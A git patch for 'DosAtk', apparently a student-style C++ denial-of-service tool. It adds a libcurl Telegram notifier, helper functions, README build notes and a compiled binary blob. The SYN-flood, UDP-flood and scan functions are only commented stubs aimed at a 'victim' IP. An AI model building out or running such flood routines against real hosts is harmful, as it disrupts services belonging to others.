From 556af1f1a7990a0f0745d4ec067dbbbbbd8e3fed Mon Sep 17 00:00:00 2001 From: serafim Date: Mon, 24 Mar 2025 23:45:04 +0300 Subject: [PATCH 1/9] dev_nekitmilk_refactoring (#5) Co-authored-by: tieshagr Co-authored-by: oct Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/5 Reviewed-by: dr-wh0 <79003667309@yandex.ru> Co-authored-by: serafim Co-committed-by: serafim --- README.md | 6 +- src/DosAtk.cpp | 181 ++++++++++++++++++++++++++++++++++++++++--------- src/a.out | Bin 0 -> 57600 bytes 3 files changed, 155 insertions(+), 32 deletions(-) create mode 100755 src/a.out diff --git a/README.md b/README.md index 90d9c1c..7e15699 100644 --- a/README.md +++ b/README.md @@ -7,4 +7,8 @@ git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку git push origin my_dns # Пушим свою ветку в репозиторий # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг -``` \ No newline at end of file +``` + +Для компиляции: +g++ DosAtk.cpp -lcurl +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev \ No newline at end of file diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 725ef8f..e4ea23f 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -10,36 +10,42 @@ #include #include -// ====== DCL ====== // +std::string attack_type; // Тип атаки: scan или syn +std::string domain; // Доменное Имя +std::string ip; // Ip жертвы +std::string port; // Порт +std::string log_file; // Путь к директории для логов +std::string telegram_id; // Telegram ID для уведомлений +std::string telegram_token; // Токен бота +int n_ok_requests; // Количество успешных запросов +int n_fail_requests; // Количество не успешных запросов +std::chrono::system_clock::time_point start_timestamp; // Начальное время работы +std::string log_msg; // Сообщение, которое будет записано в лог-файл +std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю +std::string msg; // Сообщение, которое будет отправлено в телеграм -std::string attack_type; -std::string domain; -std::string ip; -std::string port; -std::string log_file; -std::string telegram_id; -std::string telegram_token; -int n_ok_requests; -int n_fail_requests; -std::chrono::system_clock::time_point start_timestamp; -std::string log_msg; -std::string fin_msg; -std::string msg; +// ====== end of DCL ====== // +// Данная процедура записывает в глобальные переменные параметры +// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы +// На вход получает int argc, char **argv, возвращает код выполнения +// Коды возврата: +// 2 - Атака флуд, все нужные опции есть +// 1 - Атака порт скан, все нужные опции есть +// 0 - нужна помощь +// -1 - пользователь не ввел тип атаки или ввел неверный тип атаки +// -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры +// -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры +// -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи +// -600 - пользователь ввел токен, но не id или наоборот int my_check_params(int argc, char **argv) { - std::string debug_msg; - debug_msg = ""; - for (int i = 0; i < argc; i++) { - debug_msg += argv[i]; - debug_msg += " "; - } - printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); - int status; int opt; - const char* short_options = "a:d:i:p:l:t:b:h"; - const struct option long_options[] = { + const char* short_options; + short_options = "a:d:i:p:l:t:b:h"; + const struct option long_options[] = + { {"attack", required_argument, NULL, 'a'}, {"domain", required_argument, NULL, 'd'}, {"ip", required_argument, NULL, 'i'}, @@ -51,6 +57,14 @@ int my_check_params(int argc, char **argv) {NULL, 0, NULL, 0} }; + std::string debug_msg; + debug_msg = ""; + for (int i = 0; i < argc; i++) { + debug_msg += argv[i]; + debug_msg += " "; + } + printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); + while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) { switch (opt) { case 'a': @@ -109,6 +123,8 @@ int my_check_params(int argc, char **argv) return status; } +// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, +// формирует сообщение с описанием произошедшей ошибки void my_diag(int status) { printf("begin my_diag (status: %i)\n", status); @@ -145,18 +161,115 @@ void my_diag(int status) printf("end my_diag\n"); } -void my_msg() -{ - printf("begin my_msg()\n"); - printf("%s\n", msg.c_str()); - printf("end my_msg"); +// Функция для экранирования спецсимволов в JSON +std::string escape_json(const std::string& s) { + std::string result; + for (char c : s) { + switch (c) { + case '"': result += "\\\""; break; + case '\\': result += "\\\\"; break; + case '\b': result += "\\b"; break; + case '\f': result += "\\f"; break; + case '\n': result += "\\n"; break; + case '\r': result += "\\r"; break; + case '\t': result += "\\t"; break; + default: result += c; break; + } + } + return result; } +// Проверка, является ли строка числом (включая отрицательные) +bool is_numeric(const std::string& s) { + size_t start; + if (s.empty()) return false; + + start = 0; + if (s[0] == '-') { + if (s.size() == 1) return false; + start = 1; + } + + for (size_t i = start; i < s.size(); ++i) { + if (!isdigit(s[i])) return false; + } + return true; +} + +int my_msg() { + CURL* curl; + std::string escaped_msg; + std::cout << msg << std::endl; + std::string chat_id_field; + std::string json_data; + struct curl_slist* headers; + headers = nullptr; + long http_code; + CURLcode res; + + if (telegram_token.empty() || telegram_id.empty()) { + return 0; // Интеграция не настроена + } + + curl = curl_easy_init(); + if (!curl) return 6; // Ошибка инициализации CURL + + // Экранируем сообщение + escaped_msg = escape_json(msg); + + // Формируем поле chat_id + if (is_numeric(telegram_id)) { + chat_id_field = "\"chat_id\": " + telegram_id; + } else { + chat_id_field = "\"chat_id\": \"" + telegram_id + "\""; + } + + // Формируем JSON + json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; + // Настраиваем заголовоки + headers = curl_slist_append(headers, "Content-Type: application/json"); + + // Настраиваем параметры CURL + curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); + curl_easy_setopt(curl, CURLOPT_POST, 1L); + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); + curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); + + // Игнорируем вывод ответа + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [](void*, size_t size, size_t nmemb, void*) -> size_t { + return size * nmemb; + }); + + // Выполняем запрос + res = curl_easy_perform(curl); + + http_code = 0; + curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); + + // Освобождаем ресурсы + curl_slist_free_all(headers); + curl_easy_cleanup(curl); + + if (res != CURLE_OK) return 5; + + switch (http_code) { + case 200: return 0; + case 401: return 1; + case 400: return 2; + case 404: return 3; + default: + if (http_code >= 500) return 4; + return 4; + } +} +// Данная функция записывает в файл лога сообщение int my_log() { return 0; } +// Данная функция завершает программу и рассчитывает итоговое время выполнения программы void my_fin() { auto end_timestamp = std::chrono::system_clock::now(); @@ -189,21 +302,25 @@ void my_fin() std::exit(0); } +// Данная процедура сопостовляет доменное имя с IP int my_dns() { return 0; } +// Данная процедура выполняет TCP SYN Flood атаку int my_tcp_syn() { return 2; } +// Данная процедура выполняет UDP Flood (port scanning) атаку int my_udp() { return 2; } +// Тело программы int main(int argc, char **argv) { int check_params_status; @@ -217,9 +334,11 @@ int main(int argc, char **argv) n_fail_requests = 0; start_timestamp = std::chrono::system_clock::now(); - time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); + time_t now_time_t; + now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - std::chrono::milliseconds ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; + std::chrono::milliseconds ms; + ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", std::localtime(&now_time_t)->tm_year + 1900, diff --git a/src/a.out b/src/a.out new file mode 100755 index 0000000000000000000000000000000000000000..4f5b5792f2db3746c274241df95f010d743a372a GIT binary patch literal 57600 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 